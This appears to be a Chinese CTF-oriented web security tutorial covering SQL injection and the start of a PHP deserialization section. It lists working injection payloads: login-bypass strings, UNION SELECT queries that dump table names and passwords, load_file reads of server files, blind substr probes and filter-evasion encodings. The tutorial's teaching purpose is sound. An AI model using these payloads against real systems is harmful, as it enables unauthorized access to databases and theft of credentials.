Web 专题¶

Web 专题一 SQL注入¶

SQL注入基础¶

常见 SQL 查询语句：

• $sql=select xxx from xxx where ...
  • user='$username' and password='$password'
  • id=$id

在进行 SQL 注入之前，首先需要搞清楚 SQL 查询语句的闭合方式，即是单引号闭合、双引号闭合还是数字类型

具体而言：

• 如果输入 ' 没有报错(报错显示什么得看源代码的结构)，那么查询语句一般是双引号闭合
  • 构成 select xxx from xxx where user="'"
• 如果输入 " 没有报错，那么查询语句一般是单引号闭合
  • 构成 select xxx from xxx where user='"'
• 如果上述两个方式都报错了，那么很可能是数字类型
  • 构成 select xxx from xxx where id='

知道闭合类型后，就可以开始尝试构建一个能够返回数据的 payload 了

由于数字类型的 SQL 查询非常少见，我们演示的均为 单引号闭合类型 ，比如一个非常常见的注入方式： ' or ''='

此时，替换得到的查询语句为 select xxx from xxx where user='' or ''='' ，条件恒为 True

常见的万能密码如下，不过一般也没什么大用处

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--

基本注入方式¶

SQL 的注入分为 有回显 和 无回显 ，其二者所需要的注入方式大不相同

有回显注入¶

有回显，顾名思义就是会返回你查询到的数据。对于此种注入，最常见的方法就是使用 UNION SELECT 联合查询自己想要得到的数据

由于我们一般不清楚查询的表单会返回多少字段数据，所以在 UNION SELECT 之前，一般要用 ORDER BY 来测试，ORDER BY n 当你查询到的字段数大于 n ，不会报错；反之，则会报错，藉此确定我们 UNION SELECT 后要接多少条数据

确定字段数后，就可以为所欲为的爆出数据库的信息了，下面均以字段数为 1 的有回显注入为例子：

假设有查询语句： $SQL=select xxx from xxx where user=''

• admin' union select DATABASE()#
  • 爆出数据库名
• admin' union select group_concat(table_name) from information_schema.tables where table_schema=DATABASE()#
  • MySQL 中有 infomation_schema ，存储着该数据库里面表单的各种数据
  • 爆出该数据库内的所有表名
• admin' union select GROUP_CONCAT(PASSWORD) FROM USERS)#
  • 假设该数据库内有表单名为 USERS ，且有列名为 PASSWORD
  • 其实列名也可以通过类似方式在 infomation_schema 中爆出，请自行探索
  • 爆出表中的所有 PASSWORD
• admin' union select load_file('/home/flag.txt')#
  • 读取服务器上文件数据
  • 在对方服务器允许的情况下，什么可以使用 into file 来写入文件(一般不允许就是了)

注入常见参数如下：

• user()：当前数据库用户
• database()：当前数据库名
• version()：当前使用的数据库版本
• @@datadir：数据库存储数据路径
• concat()：联合数据，用于联合两条数据结果。如 concat(username,0x3a,password)
• group_concat()：和 concat() 类似，如 group_concat(DISTINCT+user,0x3a,password)，用于把多条数据一次注入出来
• concat_ws()：用法类似
• hex() 和 unhex()：用于 hex 编码解码
• load_file()：以文本方式读取文件，在 Windows 中，路径设置为 \\
• select xxoo into outfile '路径'：权限较高时可直接写文件

无回显注入¶

无回显注入是看不到你查询到的数据是如何的，有些题目的报错界面甚至就是一个空白，但是我们仍然可以利用 SUBSTR 函数来对其进行判断

假设有一个登录界面，只有你登录成功的时候会有消息提示，且查询语句为 select xxx from xxx where user='$username' and password='$password' 那么：

• password=111&username=0' or ascii(substr(DATABASE(),1,1))>96#
  • 判断 DATABASE() 的第一位字符的ASCII码是否大于96，是的话返回登录成功
  • 后面关于 password 的判定直接被注释掉了，所以无关大雅
• 其它注入与有回显类似，只是方式不同，且麻烦了些

注入检测的绕过¶

同义词替换¶

• and => &&
• or => ||
• Space => /**/ (或写一个更加复杂的注释，如 /*//+-*/)

大小写绕过¶

由于 SQL 一般不区分大小写，所以如果题目对查询语句正则，有时可以将被过滤的管检测改为大小写混乱分布，如 UnIoN

可执行注释¶

在 MySQL 中，/*!50000 */ 这种格式的注释，在 MySQL 版本大于 5.00.00 的时候是会执行注释内部的语句的，根据自己需求把 50000 改成其它数字即可，但要注意一定是五位数

URL编码编码绕过¶

在 BurpSuite 中通过改包上传数据时，可以用 URL 编码替换等价字符来尝试绕过对关键词的检测

如下为常用URL编码：

• Space : %20
• # :  %23
• ' :  %27
• " :  %22
• + :  %2B

有些服务器支持二次编码，比如 %%37%63%%37%63 最终会变为 || (or)

Web 专题二 反序列化¶

php 将数据序列化和反序列化会用到两个函数

• serialize 将对象格式化成有序的字符串
• unserialize 将字符串还原成原来的对象

一个简单的例子如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));
?>
/* Output
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
    [0] => xiao
    [1] => shi
    [2] => zi
)
*
*上面输出中，i代表整型数据 int ，s代表字符串，后接长度
*/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<?php

class FileHandler {
    public  $op = 2;
    public  $filename = "flag.php";
}

$a = new FileHandler();
$b = serialize($a);
echo $b;

?>
# Output: O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}